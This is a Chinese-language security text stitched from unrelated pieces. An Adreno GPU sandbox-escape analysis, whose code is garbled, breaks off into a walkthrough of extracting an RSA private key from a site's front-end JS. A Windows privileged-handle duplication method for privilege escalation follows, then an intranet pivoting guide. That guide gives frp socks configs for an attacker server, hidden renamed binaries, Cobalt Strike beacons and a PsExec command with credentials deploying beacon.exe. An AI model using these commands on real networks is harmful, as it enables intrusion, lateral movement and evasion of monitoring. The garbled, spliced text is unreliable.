對於沙盒逃逸,GPU 從芯片組層提供了一個特別有趣的攻擊面。由於GPU 加速在應用程序中被廣泛使用,Android 沙盒允許完全訪問底層GPU 設備。此外,只有兩種GPU 硬件在Android 設備中特別流行:ARM Mali 和Qualcomm Adreno。

這意味著,如果攻擊者能夠在這兩個GPU 實現中找到一個可很好利用的漏洞,那麼他們就可以有效地保持針對大多數Android 生態系統的沙盒逃逸漏洞利用能力。此外,由於GPU 非常複雜,有大量閉源組件、固件、微代碼,因此很有可能會找到一個危害極高且長期存在的漏洞。

考慮到這一點,在2020 年4 月下旬,我注意到Qualcomm Adreno 內核驅動程序代碼中有以下提交:

From0ceb2be799b30d2aea41c09f3acb0a8945dd8711MonSep1700:00:002001From:JordanCrouseDate:Wed,11Sep201908:32:15-0600Subject:[PATCH]msm:kgsl33 360Makethe'scratch'globalbufferusearandomGPUaddressSelectarandomglobalGPUaddressforthe'scratch'bufferthatisusedbytheringbufferforvarioustasks.當我們想到向地址添加熵時,通常會想到地址空間佈局隨機化(ASLR)。但這裡我們談論的是GPU 虛擬地址,而不是內核虛擬地址,為什麼需要隨機分配GPU 地址?

此提交是CVE-2019-10567 的安全補丁之一,這些補丁在高通的諮詢中有相關鏈接。此CVE 還包含一個相關補丁:

From8051429d4eca902df863a7ebb3c04cbec06b84b3MonSep1700:00:002001From:JordanCrouseDate:Mon,9Sep201910:41:36-0600Subject:[PATCH]msm:kgsl:Execut euserprofilingcommandsinanIBExecuteuserprofilinginanindirectbuffer.Thisensuresthataddressesandvaluesspecifieddirectlyfromtheuserdon'tendupintheringbuffer.所以問題就變成了,為什麼用戶內容不會最終出現在ringbuffer 上,這個補丁真的可以防止這種情況發生嗎?如果我們恢復臨時映射的基地址會發生什麼?至少從表面上看,兩者都是可行的,這個研究項目有了一個良好的開端。

在我們進一步討論之前,讓我們退一步描述一下這裡涉及的一些基本組件:GPU, ringbuffer, scratch mapping等。

0x02 Adreno GPU 簡介GPU 是現代圖形計算的主要組件,大多數應用程序都廣泛使用GPU。從應用程序的角度來看,GPU 硬件的具體實現通常由OpenGL ES 和Vulkan 等庫抽像出來。這些庫實現了一個標準API,用於對常見的GPU 加速操作進行編程,例如texture mapping 和running shaders。然而,在底層,此功能是通過與內核空間中運行的GPU 設備驅動程序交互來實現的。

image-20220324233623933.png image-20220324233623933

特別是對於Qualcomm Adreno,/dev/kgsl-3d0設備文件最終用於實現更高級別的GPU 功能。可在不受信任的應用程序沙箱中直接訪問/dev/kgsl-3d0文件,因為:

1.設備文件在其文件權限中設置了全局讀/寫訪問權限。權限由ueventd設置:

sargo:/#cat/system/vendor/ueventd.rc|grepkgsl-3d0/dev/kgsl-3d00666systemsystem2.設備文件的SELinux 標籤設置為gpu_device,並且untrusted_app SELinux 上下文對此標籤有特定的允許規則:

sargo:/#ls-Zal/dev/kgsl-3d0crw-rw-rw-1systemsystemu:object_r:gpu_device:s0239,02020-07-2115:48/dev/kgsl-3d0hawkes@glaptop:~$adbpull/sys/fs/selinux/policy/sys/fs/selinux/policy33 3601filepulled,0skipped.16.1MB/s.hawkes@glaptop:~$sesearch-A-suntrusted_apppolicy|grepgpu_deviceallowuntrusted_appgpu_device:chr_file{appendgetattrioctllockmapopenreadwrite};這意味著應用程序可以打開設備文件。 Adreno“KGSL”內核設備驅動程序主要通過許多不同的ioctl 調用(例如分配共享內存、創建GPU 上下文、提交GPU 命令等)和mmap(例如將共享內存映射到用戶空間)來調用應用。

0x03 GPU 共享映射在大多數情況下,應用程序使用共享映射將vertices, fragments 和shaders加載到GPU 中並接收計算結果。這意味著某些物理內存頁面會在用戶應用程序和GPU 硬件之間共享。

要設置新的共享映射,應用程序將通過調用IOCTL_KGSL_GPUMEM_ALLOC ioctl 向KGSL 內核驅動程序請求分配。內核驅動程序將準備一個物理內存區域,然後將該內存映射到GPU 的地址空間。最後,應用程序將使用分配ioctl 返回的標識符將共享內存映射到用戶空間地址空間。

此時,物理內存的同一頁上有兩個不同的視圖。第一個視圖來自用戶態應用程序,它使用虛擬地址來訪問映射到其地址空間的內存。 CPU 的內存管理單元(MMU) 將執行地址轉換以找到適當的物理頁面。

另一個是從GPU 硬件本身來看,它使用GPU 虛擬地址。 GPU 虛擬地址由KGSL 內核驅動程序選擇,它使用僅用於GPU 的頁表結構配置設備的IOMMU(在ARM 上稱為SMMU)。當GPU 嘗試讀取或寫入共享內存映射時,IOMMU 會將GPU 虛擬地址轉換為內存中的物理頁面。這類似於在CPU 上執行的地址轉換,但地址空間完全不同,即應用程序中使用的指針值將不同於GPU 中使用的指針值。

image-20220324234002661 image-20220324234002661.png

每個用戶態進程都有自己的GPU 上下文,這意味著當某個應用程序在GPU 上運行操作時,GPU 將只能訪問它與該進程共享的映射。這是必需的,這樣一個應用程序就不能要求GPU 從另一個應用程序讀取共享映射。在實踐中,這種分離是通過在GPU 上下文切換發生時更改將哪一組頁表加載到IOMMU 來實現的。每當安排GPU 運行來自不同進程的命令時,就會發生GPU 上下文切換。

然而,某些映射被所有GPU 上下文使用,因此可以出現在每組頁表中。它們被稱為全局共享映射,用於GPU 和KGSL 內核驅動程序之間的各種系統和調試功能。雖然它們從未直接映射到用戶級應用程序,例如惡意應用程序無法直接讀取或修改全局映射的內容,但它們會同時映射到GPU 和內核地址空間。

在被root的Android 設備上,我們可以使用以下命令dump全局映射及其GPU 虛擬地址:

sargo:/#cat/sys/kernel/debug/kgsl/globals0x00000000fc000000-0x00000000fc000fff4096setstate0x00000000fc001000-0x00000000fc040fff262144gpu-qdss0x00000000fc041000-0x00000000fc048fff32768memstore0x00000000fce7a000-0x00000000fce7aff f4096scratch0x00000000fc049000-0x00000000fc049fff4096pagetable_desc0x00000000fc04a000-0x00000000fc04afff4096profile_desc0x00000000fc04b000-0x00000000fc052fff32768ringbuffer0x00000000fc053000-0x00000000fc053fff4096pagetable_desc0x00 000000fc054000-0x00000000fc054fff4096profile_desc0x00000000fc055000-0x00000000fc05cfff32768ringbuffer0x00000000fc05d000-0x00000000fc05dfff4096pagetable_desc0x00000000fc05e000-0x00000000fc05efff4096profile_desc0x00000000fc05f000-0x0 0000000fc066fff32768ringbuffer0x00000000fc067000-0x00000000fc067fff4096pagetable_desc0x00000000fc068000-0x00000000fc068fff4096profile_desc0x00000000fc069000-0x00000000fc070fff32768ringbuffer0x00000000fc071000-0x00000000fc0a0fff1966 08profile0x00000000fc0a1000-0x00000000fc0a8fff32768ucode0x00000000fc0a9000-0x00000000fc0abfff12288capturescript0x00000000fc0ac000-0x00000000fc116fff438272capturescript_regs0x00000000fc117000-0x00000000fc117fff4096powerup_register_l ist0x00000000fc118000-0x00000000fc118fff4096alwayson0x00000000fc119000-0x00000000fc119fff4096preemption_counters0x00000000fc11a000-0x00000000fc329fff2162688preemption_desc0x00000000fc32a000-0x00000000fc32afff4096perfcounter_save_re store_desc0x00000000fc32b000-0x00000000fc53afff2162688preemption_desc0x00000000fc53b000-0x00000000fc53bfff4096perfcounter_save_restore_desc0x00000000fc53c000-0x00000000fc74bfff2162688preemption_desc0x00000000fc74c000-0x00000000fc74 cfff4096perfcounter_save_restore_desc0x00000000fc74d000-0x00000000fc95cfff2162688preemption_desc0x00000000fc95d000-0x00000000fc95dfff4096perfcounter_save_restore_desc0x00000000fc95e000-0x00000000fc95efff4096smmu_info從左到右,我們看到每個全局映射的GPU 虛擬地址,然後是大小,然後是分配的名稱。通過多次重啟設備並檢查佈局,可以看到暫存緩衝區確實是隨機的:

0x00000000fc0df000-0x00000000fc0dffff4096scratch.0x00000000fcfc0000-0x00000000fcfc0fff4096scratch.0x00000000fc9ff000-0x00000000fc9fffff4096scratch.0x00000000fcb4d000-0x00000000fcb4dfff4096scratch同樣的測試表明,暫存緩衝區是唯一隨機化的全局映射,所有其他全局映射在[0xFC000000,0xFD400000]範圍內都有一個固定的GPU 地址。這是有道理的,因為CVE-2019-10567 的補丁只為暫存緩衝區分配引入了KGSL_MEMDESC_RANDOM 標誌。

所以我們現在知道暫存緩衝區至少在某種程度上是正確隨機的,並且它是存在於每個GPU 上下文中的全局共享映射,但是暫存緩衝區到底是做什麼用的呢?

0x04 Scratch 緩衝區深入驅動程序代碼,我們可以清楚地看到在驅動程序的探測例程中分配了暫存緩衝區,這意味著暫存緩衝區將在設備首次初始化時分配:

intadreno_ringbuffer_probe(structadreno_device*adreno_dev,boolnopreempt){.status=kgsl_allocate_global(device,device-scratch,PAGE_SIZE,0,KGSL_MEMDESC_RANDOM,'scratch');我們還發現了下面的註釋:

/*SCRATCHMEMORY:Thescratchmemoryisonepageworthofdatathat*ismappedintotheGPU.Thisallowsforsome'shared'databetween*theGPUandCPU.Forexample,itwillbeusedbytheGPUtowrite*eachupdatedRPTRforeachRB.通過在內核驅動程序中交叉引用生成的內存描述符(device-scratch )的所有用法,我們可以找到暫存緩衝區的兩個主要用法:

1.搶占恢復緩衝區的GPU 地址被dump到暫存內存中,如果較高優先級的GPU 命令中斷較低優先級的命令,則會使用該暫存內存。

2.環形緩衝區(RB) 的讀指針(RPTR) 從臨時內存中讀取,並在計算環形緩衝區中的可用空間量時使用。

可以開始串聯思路。首先,我們知道CVE-2019-10567 的補丁包括對暫存緩衝區和環形緩衝區處理代碼的更改——這表明我們應該關注上面的第二個用例。

如果GPU 正在將RPTR 值寫入共享映射(如註釋所示),並且如果內核驅動程序正在從暫存緩衝區讀取RPTR 值並將其用於分配大小計算,那麼如果我們可以讓GPU 寫入一個RPTR 值無效或不正確。

0x05 環形緩衝區要了解無效RPTR 值對環緩衝區分配可能意味著什麼,我們首先需要描述環緩衝區本身。當用戶態應用程序提交GPU 命令( IOCTL_KGSL_GPU_COMMAND ) 時,驅動程序代碼通過使用生產者-消費者模式的環形緩衝區將命令分派給GPU。內核驅動程序會將命令寫入環形緩衝區,GPU 將從環形緩衝區讀取命令。

這以與經典循環緩衝區類似的方式發生。在底層,ringbuffer 是一個固定大小為32768 字節的全局共享映射。維護兩個索引來跟踪CPU 寫入的位置(WPTR) 和GPU 讀取的位置(RPTR)。為了在ringbuffer 上分配空間,CPU 必須計算當前WPTR 和當前RPTR 之間是否有足夠的空間。這發生在adreno_ringbuffer_allocspace 中:

unsignedint*adreno_ringbuffer_allocspace(structadreno_ringbuffer*rb,unsignedintdwords){structadreno_device*adreno_dev=ADRENO_RB_DEVICE(rb);unsignedintrptr=adreno_get_rptr(rb);[1]unsignedintret;if(rptr_wptr){[2]unsign edint*cmds;if(rb-_wptr+dwords_wptr;rb-_wptr=(rb-_wptr+dwords)%KGSL_RB_DWORDS;returnRB_HOSTPTR(rb,ret);}/**Thereisn'tenoughspacetowardtheendofringbuffer.So*lookforspacefromthebeginningofringbufferuptothe*readpointer.*/

即上次解密后,开发不死心,过了几个月,给返回包也进行了加密。并对前端js进行了压缩混淆

oohhlvxuc1q14508.png

 

 

 

根据观察,初步认为服务端也进行了相同的rsa+aes加密,然后把rsa加密后的keyiv以及aes加密的data字段一起发送回来。但是这样其实对于我们来说,反而是画蛇添足,让系统安全性下降了。因为这样会让前端去进行rsa+aes的解密,所以rsa私钥一定会存在前端

开始操作

1.老规矩搜索encryptIv字段,找到了疑似解密的部分,打上断点后提交登录请求

b1diax5ec4j14510.png

 

 

 

Burp抓包返回包,提取data字段

 

 vsihbnqrzwl14514.png

 

 

断点处提取rsa解密后的aeskeyiv

kplalbd325t14518.png

 

把从前端断点处的na作为keyiv放入鬼鬼js调试工具尝试解密,解密成功,说明思路没有问题,就是该处代码对服务器传来的encryptIvencryptKey进行解密为aes原本的密钥和偏移量

ea4s2uskjex14521.png

2.    根据解密代码,找到rsa私钥(p.d),显示不全,复制一段ctrl+f搜索到完整的rsa私钥

mkehkc3bi5i14523.png

 

 

使用jsencrypt.js脚本进行解密发现报错,原因是原版js调用了浏览器的windownavigator方法,这两个是获取浏览器窗口信息和鼠标位置信息之类的,用以生成随机数

uqcntv3ykev14525.png

 

a2zl23dn2oi14527.png

 

 

通过搜索,发现有人先做过更改原版JSEncrypt,去掉windownavigator方法使用,帖子地址:https://bbs.125.la/forum.php?mod=viewthread&tid=14113049

jho4b2adqn314529.png

使用鬼鬼js调试成功

cbyhtq4atd014534.png

 

 

3.    最后一步,完善编写自动化加解密脚本,老规矩,还是mitmweb+burp的组合,浏览器先代理到burp,然后burp二级代理到mitmweb执行python脚本,然后再发送给服务器,大致思路如

j2n5arsnoia14536.png

其实当时以为已经完成了90%了,剩下10%是编写自动化脚本,结果这10%反而花了几天时间,因为调用js解密不成功的原因。后面解决了,大体来说和aes算法以及jspython有关系。我们可以下期具体来讲讲这块大坑!今天就先跳过这部分。

最后再上次的脚本上面,加上了注销前端解密的代码,以及mitmweb帮助解密response的代码就行了。

4h12ll1pgfq14538.jpg

调试成功,burp已经舒舒服服,全程操作明文了。

qbk2qyqbm2314541.jpg

顺便,恩?发现有一个验证码返回前端的高危漏洞哈哈哈。但是我心善,既然这个加解密一时半会搞不出来的,现在都周五了,就下周一再来叫开发修复漏洞吧。具体的新增代码部分我们留到下次,和aes解密这个大坑的时候一起讲。

 

 

在某些情況下,具有高完整性或系統完整性的進程會向權限進程/線程/令牌請求句柄,然後生成低完整性進程。如果這些句柄足夠強大,且類型正確,並且由子進程繼承,我們可以從另一個進程複製它們,然後濫用它們來升級權限或繞過UAC。在這篇文章中,我們將介紹如何尋找和濫用這種漏洞。

介紹本質上,這個想法是看看我們是否可以自動找到擁有高完整性(也就是提升)或SYSTEM進程的權限句柄的非權限進程,然後檢查我們是否可以作為一個非權限用戶附加到這些進程上,並複制這些句柄,以便以後濫用它們。我們的工具會受到哪些限制?

1.它必須作為中等完整性進程運行;

2. 進程令牌中沒有SeDebugPrivilege(中等完整性的進程默認沒有這個權限);

3. 沒有UAC 繞過,因為它也必須適用於非管理用戶;

這個過程有點複雜,我們將經歷的步驟或多或少如下:

1.枚舉所有進程持有的所有句柄;

2.過濾掉我們不感興趣的句柄,現在我們只關注進程、線程和令牌的句柄,因為它們更容易被武器化;

3.過濾掉引用低完整性進程/線程/令牌的句柄;

4.過濾掉完整性大於中等的進程持有的句柄,除非獲得SeDebugPrivilege,否則我們不能附加到它們上,這違背了本文的目的;

5.複製其餘的句柄並將它們導入我們的進程,並試圖濫用它們來升級權限或者至少繞過UAC;

1.jpg

當然,我們不太可能在一台全新的Windows設備上滿足這些條件,所以為了避免這個問題,我將使用一個我專門為此目的編寫的易受攻擊的應用程序。

句柄處理正如我在這個Twitter線程中簡要討論的那樣,Windows是一個基於對象的操作系統,這意味著每個實體(進程、線程、互斥鎖等)在內核中都以數據結構的形式有一個“對象”表示。例如,對於進程,該數據結構的類型是_EPROCESS。作為存在於內核空間的數據,普通的用戶模式代碼無法直接與這些數據結構交互,因此操作系統公開了一個間接機制,該機制依賴於特殊的HANDLE類型變量以及用於服務的SC_HANDLE 等派生類型。句柄只不過是內核空間表中的索引,對每個進程來說都是私有的。表中的每一項都包含了它所指向的對象的地址以及該句柄對該對象的訪問級別。這個表由每個進程的_EPROCESS結構的ObjectTable成員(它的類型是_HANDLE_TABLE*,因此它指向一個_HANDLE_TABLE)指向。

為了更容易理解,讓我們看一個例子。要獲得進程的句柄,我們可以使用OpenProcess Win32 API,定義如下:

2.png

它需要3個參數:

dwDesiredAccess是一個DWORD,它指定了我們希望對我們試圖打開的進程擁有的訪問級別;

bInheritHandle是一個布爾值,如果設置為TRUE,將使句柄可繼承,這意味著調用進程在子進程生成時將返回的句柄複製給子進程(以防我們的程序調用CreateProcess之類的函數);

dwProcessId是一個DWORD,用於指定我們想打開哪個進程(通過提供它的PID);

在下一行中,我將嘗試打開系統進程(它始終具有PID 4)的句柄,向內核指定我希望句柄擁有盡可能少的特權,只需要查詢有關信息的子集進程(PROCESS_QUERY_LIMITED_INFORMATION),並且我希望該程序的子進程繼承返回的句柄(TRUE)。

3.png

OpenProcess返回的System進程的句柄(如果它沒有因為某種原因失敗)被放入hProcess變量中以供以後使用。

在後台,內核執行一些安全檢查,如果這些檢查通過,則獲取所提供的PID,解析相關_EPROCESS結構的地址,並將其複製到句柄表中的一個新條目中。之後,它將訪問掩碼(即提供的訪問級別)複製到相同的條目中,並將條目值返回給調用代碼。

當你調用其他函數(如OpenThread和OpenToken)時,也會發生類似的事情。

查看句柄正如我們前面介紹的,句柄本質上是表的索引。每個條目都包含句柄所引用對象的地址以及句柄的訪問級別。我們可以使用Process Explorer 或Process Hacker 等工具查看這些信息:

4.png

從這個Process Explorer 屏幕截圖中,我們可以獲得一些信息:

紅框:句柄所指的對像類型;

藍色框:句柄值(表項的實際索引);

黃色框:句柄所指對象的地址;

綠色框:訪問掩碼及其解碼值(訪問掩碼是在Windows.h 頭文件中定義的宏),這告訴我們在對像上授予句柄持有者哪些特權;

有很多方法可以獲得這些信息,不一定需要使用在內核模式下運行的代碼。在這些方法中,最實用和最有用的是依賴原生API NtQuerySystemInformation,當調用它時傳遞SystemHandleInformation (0x10) 值作為其第一個參數,返回一個指向SYSTEM_HANDLE 變量數組的指針,其中每個變量都引用一個由系統上的進程打開的句柄。

5.png

讓我們來看看用c++實現它的一種可能的方法。

6.png

在這段代碼中,我們使用以下變量:

queryInfoStatus 將保存NtQuerySystemInformation 的返回值;

tempHandleInfo 將保存有關係統NtQuerySystemInformation 為我們獲取的所有句柄的數據;

handleInfoSize 是對所說數據量的“猜測”。不要擔心,因為每次NtQuerySystemInformation 將返回STATUS_INFO_LENGTH_MISMATCH 時這個變量都會加倍,這是一個告訴我們分配的空間不夠的值;

handleInfo 是指向內存位置的指針NtQuerySystemInformation 將填充我們需要的數據;

不要對這裡的while 循環感到困惑,正如我們所說,我們只是反複調用函數,直到分配的內存空間足夠大,可以容納所有的數據。在使用Windows本機API時,這種類型的操作非常普遍。

NtQuerySystemInformation 獲取的數據可以通過簡單的迭代來解析,如下所示:

7.png

從代碼中可以看出,變量句柄是SYSTEM_HANDLE 類型的結構(自動從代碼中刪除)有許多成員提供有關它所引用的句柄的有用信息。最有趣的成員是:

ProcessId:持有句柄的進程;

Handle:持有句柄本身的進程內部的句柄值;

Object:句柄指向的對像在內核空間中的地址;

ObjectTypeNumber:一個未記錄的BYTE 變量,用於標識句柄所指對象的類型。為了解釋它,需要進行一些逆向工程和挖掘,只要說進程由值0x07 標識,線程由0x08 標識,令牌由0x05 標識就足夠了;

GrantedAccess 句柄授予的對內核對象的訪問級別,對於進程,你可以找到諸如PROCESS_ALL_ACCESS、PROCESS_CREATE_PROCESS 等值。

讓我們運行上述代碼並查看其輸出結果:

8.png

我們可以從對像類型的0x7 值推斷出,在這段摘錄中,我們看到PID 為4 的進程(即任何Windows 機器上的系統進程)當前已打開3 個句柄。所有這些句柄都引用進程類型的內核對象,每個都有自己的內核空間地址,但只有第一個是特權句柄,正如你可以從其值推斷出的那樣,0x1fffff,這是PROCESS_ALL_ACCESS 翻譯的內容。不幸的是,在我的研究中,我發現沒有直接的方法可以直接提取SYSTEM_HANDLE 結構的ObjectAddress 成員所指向的進程的PID。稍後我們將看到一個巧妙的技巧來規避這個問題,但現在讓我們使用Process Explorer 檢查它正在使用哪個進程。

9.png

正如你所看到的,值為0x828的句柄的類型是process,它引用進程services.exe。對像地址和被授予的訪問也都簽出了,如果你查看圖像的右側,你將看到解碼的訪問掩碼顯示PROCESS_ALL_ACCESS,正如預期的那樣。

這是非常有趣的,因為它本質上允許我們查看任何進程的句柄表,而不管它的安全上下文和PP(L)級別。

從目標進程的對像地址獲取目標進程的PID如上所述,我沒有找到一種方法來取回給定進程的SYSTEM_HANDLE 進程的PID,但我確實找到了一個有趣的解決方法。讓我們先來看看一些假設:

1.SYSTEM_HANDLE結構包含Object成員,該成員保存內核對像地址,該地址在內核空間中;

2.在Windows上,所有進程都有自己的地址空間,但是地址空間的內核空間部分(64位進程的最大128TB)對所有進程是相同的。內核空間中的地址在所有進程中保存相同的數據;

3.提到進程的句柄時,SYSTEM_HANDLE的Object成員指向進程本身的_EPROCESS結構;

4.每個進程只有一個_EPROCESS 結構;

5.我們可以通過調用OpenProcess 並將PROCESS_QUERY_LIMITED_INFORMATION 指定為所需的訪問值來獲取任何進程的句柄,而不管其安全上下文如何;

從這些假設中,我們可以推斷出以下信息:

1.如果句柄在同一個對像上打開,則兩個不同SYSTEM_HANDLE 結構的Object 成員將相同,而與持有該句柄的進程無關,例如,由兩個不同進程在同一文件上打開的兩個句柄將具有相同的Object 值:

1.1由兩個不同進程打開的同一進程的兩個句柄將具有匹配的Object 值;

1.2線程、令牌等也是如此;

2.當調用NtQuerySystemInformation 時,我們可以枚舉我們自己的進程持有的句柄;

如果我們通過OpenProcess 獲得一個進程的句柄,我們就知道該進程的PID,並且通過NtQuerySystemInformation,它的_EPROCESS 的內核空間地址

你能看到我們要去哪裡嗎?如果我們設法打開一個對所有進程具有訪問PROCESS_QUERY_LIMITED_INFORMATION 的句柄,然後通過NtQuerySystemInformation 檢索所有系統句柄,我們就可以過濾掉所有不屬於我們進程的句柄,並從那些屬於我們進程的句柄中提取對象值並在它與生成的PID 之間進行匹配。當然,線程也可以這樣做,只使用OpenThread 和THREAD_QUERY_INFORMATION_LIMITED。

為了有效地打開系統上的所有進程和線程,我們可以依賴TlHelp32.h 庫的例程,它會允許我們拍攝系統上所有進程和線程的快照,並遍歷該快照以獲取拍攝快照時運行的進程和線程的PID 和TID(線程ID)。

下面的代碼塊顯示了我們如何獲取所述快照並遍歷它以獲取所有進程的PID。

10.png

首先定義一個std:map,這是c++中的一個類似字典的類,它允許我們跟踪指向PID的句柄,我們將其稱為mHandleId。

完成後,我們使用CreateToolhelp32Snapshot 獲取有關進程的系統狀態快照,並指定我們只需要進程(通過TH32CS_SNAPPROCESS 參數)。這個快照被分配給快照變量,它的類型是wil:unique_handle,它是WIL 庫的一個C++ 類,它使我們擺脫了在使用句柄後必須正確清理句柄的負擔。完成後,我們定義並初始化一個名為processEntry 的PROCESSENTRY32W 變量,一旦我們開始遍歷快照,它將保存我們正在檢查的進程的信息。

通過調用Process32FirstW 並用快照中第一個進程的數據填充processEntry。對於每個進程,我們嘗試在其PID 上使用PROCESS_QUERY_LIMITED_INFORMATION 調用OpenProcess,如果成功,我們將句柄- PID 對存儲在mHandleId 映射中。

在每個while 循環中,我們執行Process32NextW 並用新進程填充processEntry 變量,直到它返回false 並且我們退出循環。現在,我們的句柄和它們指向的進程的PID 之間有一個1 對1 的映射。現在進入第二階段!

現在是獲取所有系統句柄並過濾掉不屬於我們進程的句柄的時候了,我們已經了解瞭如何檢索所有句柄,現在只需檢查每個SYSTEM_HANDLE 並將其ProcessId 成員與我們的進程的PID 進行比較,可通過恰當命名的GetCurrentProcessId 函數獲得。然後,我們以與處理句柄-PID 對類似的方式存儲屬於我們進程的那些SYSTEM_HANDLE 的Object 和Handle 成員的值,使用我們稱為mAddressHandle 的映射。

11.png

你可能想知道為什麼使用switch 語句而不是簡單的if。一些代碼已被刪除,因為這些是我們高級持久性Tortellini 專門為尋找我們在文章開頭提到的漏洞而編寫的工具的摘錄。

現在我們已經填充了兩個映射,當我們只知道它的_EPROCESS 地址時,獲取一個進程的PID 是一件輕而易舉的事。

12.png

我們首先將對象的地址保存在地址變量中,然後使用find 方法在mAddressHandle 映射中查找該地址,該方法將返回uint64_t,HANDLE 。這對包含地址和它對應的句柄。我們通過保存對成員的值來獲取句柄second並將其保存在foundHandle變量中。之後,只需要做我們剛才所做的事情,但是使用mHandleId映射和handlePid變量將保存進程的PID,其地址是我們開始的那個進程。

現在我們有了一種可靠的方法來匹配地址和PID,我們需要專門尋找那些完整性小於高進程持有有趣的句柄的情況,這些句柄與完整性等於或大於高的進程保持一致。但是從安全的角度來看,是什麼讓句柄“有趣”呢?我們將關注的句柄是具有以下訪問掩碼的句柄:

PROCESS_ALL_ACCESS

PROCESS_CREATE_PROCESS

PROCESS_CREATE_THREAD

PROCESS_DUP_HANDLE

PROCESS_VM_WRITE如果你在非特權進程中找到具有至少一個此訪問掩碼的特權進程的句柄,那非常幸運。讓我們看看我們如何做到這一點。

13.png

在這段代碼中,我們首先定義一個名為vSysHandle 的std:vector,它將保存有趣的SYSTEM_HANDLE。之後,我們開始對NtQuerySystemInformation 返回的數據進行常規迭代,只是這次我們跳過了當前進程持有的句柄。然後,我們通過我編寫的名為GetTargetIntegrityLevel 的幫助函數檢查持有我們當前正在分析的句柄的進程的完整性級別。這個函數基本上返回一個DWORD,告訴我們與它作為參數接收的PID 相關聯的令牌的完整性級別,並且改編自許多在線可用的PoC 和MSDN 函數。

一旦我們檢索到進程的完整性級別,我們要確保它小於高完整性,因為我們感興趣的是持有感興趣的句柄的中完整性或低完整性進程,我們還要確保我們正在處理的SYSTEM_HANDLE類型是進程(0x7)。檢查後,我們轉到檢查句柄授予的訪問權限。如果句柄不是PROCESS_ALL_ACCESS或不包含任何指定的標誌,則跳過它。否則,我們更進一步,檢索句柄所指進程的PID,並獲取其完整性級別。如果它是高完整性或更高的(例如SYSTEM),我們將SYSTEM_HANDLE保存在我們的vsyhandle中供以後使用。

首先,我們打開持有權限句柄的進程,然後復制該句柄。

14.png

這是相當簡單的,首先,你使用PROCESS_DUP_HANDLE訪問權限打開進程,這是複制句柄所需的最小權限,然後在該進程上調用DuplicateHandle,告訴函數你希望復制保存在syhandle中的句柄,並將其保存到clonedHandle變量中的當前進程中。

通過這種方式,我們的進程現在處於權限句柄的控制之下,我們可以使用它來生成一個新進程,把它的父進程偽裝成該句柄所指向的權限進程,從而使新進程繼承它的安全上下文,並獲得命令shell等。

15.png

讓我們看看它的實際應用:

16.png

前言

在内网渗透时,一个WebShell或CobaltStrike、Metasploit上线等,只是开端,更多是要内网横向移动,扩大战果,打到核心区域。但后渗透的前提是需要搭建一条通向内网的“专属通道”,才能进一步攻击。可实战中因为网络环境不同,所利用的方式就不同。

本文内容按以下思维导图展开

jk52mz33ahj14545.png

 目标出网(socks代理)

这是实战中最愿意碰到的网络环境,目标机可以正常访问互联网,可直接在目标机挂socks代理或CobaltStrike上线,打通目标的内网通道。

frp(socks5)

frp服务端配置文件

[common]bind_port = 8080

frp客户端配置文件

[common]server_addr = xx.xx.xx.xxserver_port = 8080#服务端口使用Web常见端口[socks5]type = tcpremote_port = 8088plugin = socks5use_encryption = trueuse_compression = true#socks5口令#plugin_user = SuperMan#plugin_passwd = XpO2McWe6nj3

此处添加了加密压缩这两个功能,默认是不开启的,根据作者介绍,压缩算法使用的是 snappy。

use_encryption = true 启用加密 [通信内容加密传输,有效防止流量被拦截]

use_compression = true 启用压缩 [传输内容进行压缩,有效减小传输的网络流量,加快流量转发速度,但会额外消耗一些CPU资源]

use_encryption = true 、use_compression = true 必须放在相关协议下面。

frp客户端与配置文件传到目标机后,把程序名与配置文件进行修改,并放在系统相关文件夹中,做到隐蔽

nk3hgwh4rhk14550.png

setg Proxies socks5:xxx.xxx.xxx.xxx:8088

x0qdtdsieu314552.png

qc0dostqw0l14554.png

加密压缩的对比

这是frp客户端配置文件中未使用 encryption 与 compression 功能,利用metasploit挂socks代理,扫描ms17_010传输的数据包,明显可辨别出具体攻击行为。如果目标内网有”态势感知“、流量分析等安全设备,就会被监测到,导致权限丢失。

duy4gjrtawl14557.png

 使用 encryption 与 compression 功能后,虽攻击源地址同样会暴露,但传输的数据包却无法辨别,规避了内网中的安全监测设备

btkptrhnkbp14559.png

CobaltStrike (socks4a)

到已控目标机的Beacon下将socks代理开启

beacon > socks 1024 #端口根据VPS实际情况进行设置

fs4aud0pyee14561.png

 菜单栏中的 View > Proxy Pivots ,复制代理连接到Metasploit中,或直接将socks4a挂在相关安全工具中。

qi5d0syfdup14562.png

上线不出网机器

这是link链接,只要主链路(出网机Beacon)掉线,均掉!

SMB Beacon

官方对SMB Beacon的介绍:SMB Beacon是使用命名管道通过父级Beacon进行通讯,当两个Beacons链接后,子Beacon从父Beacon获取到任务并发送。因为链接的Beacons使用Windows命名管道进行通信,此流量封装在SMB协议中,所以SMB Beacon相对隐蔽。

创建一个SMB的Listener (host与port可无视),注意Listener选择,在session中选择route可达的主机派生会话。

(在Listner生成SMB Beacon>目标主机>右键> spawn as>选中对应的Listener>上线)

45zpulu1cs514564.png

 运行成功后,可以看到 ∞∞ 这个字符,这就是派生SMB Beacon的连接状态。

alqjijd5ep314566.png

2on5pydfavx14567.png

 可在主Beacon上用link host链接或unlink host断开。

beacon> link 192.168.144.155beacon> unlink 192.168.144.155

gfx02rmg4af14569.png

Link Listener

 在已上线的主机创建Listener。

 tu25twcnbdq14573.png

 

 

 导出该类型Listener对应的可执行文件或dll等。

lsmdcmfvnpu14575.png

 

 

 选择刚建立的Listener。

pgi1oiqaibu14577.png

 

 

 上传刚才生成的payload到当前已上线的目标机中,这里用PsExec.exe 工具 。(CobalStrike本身psexec功能不够强大)

yjppeafztse14580.png

 

 

 在Beacon中使用PsExec工具将payload上传到不出网的目标机中,自动执行,上线。

beacon> shell C:\WINDOWS\Temp\PsExec.exe -accepteula \\192.168.144.155,192.168.144.196 -u administrator -p admin@123 -d -c C:\WINDOWS\Temp\beacon.exe

yq2qz5kwlqt14582.png

beacon> shell netstat -ano |findstr 4444

b3qmos2awic14584.png

SSH Login
beacon> ssh 192.168.144.174:22 root adminbeacon> ssh 192.168.144.203:22 root admin

0moanxuai1g14586.png

 在Linux目标机中查看网络连接状态,实际是与之前已上线的Windows主机建立的连接。

epbil1520vf14588.png

目标不出网(http代理)

目标机网络中可能有防火墙、网闸等,只允许http单向出,无法正常访问互联网,用上述socks方法是行不通的,只能用http代理进行渗透。

reGeorg (socks5)

python reGeorgSocksProxy.py -u http://192.168.144.211/tunnel.aspx -l 0.0.0.0 -p 10080

nfb3l5iqb5t14590.png

 利用metasploit挂reGeorg socks代理,扫描ms17_010传输的数据包,明显可辨别攻击行为。

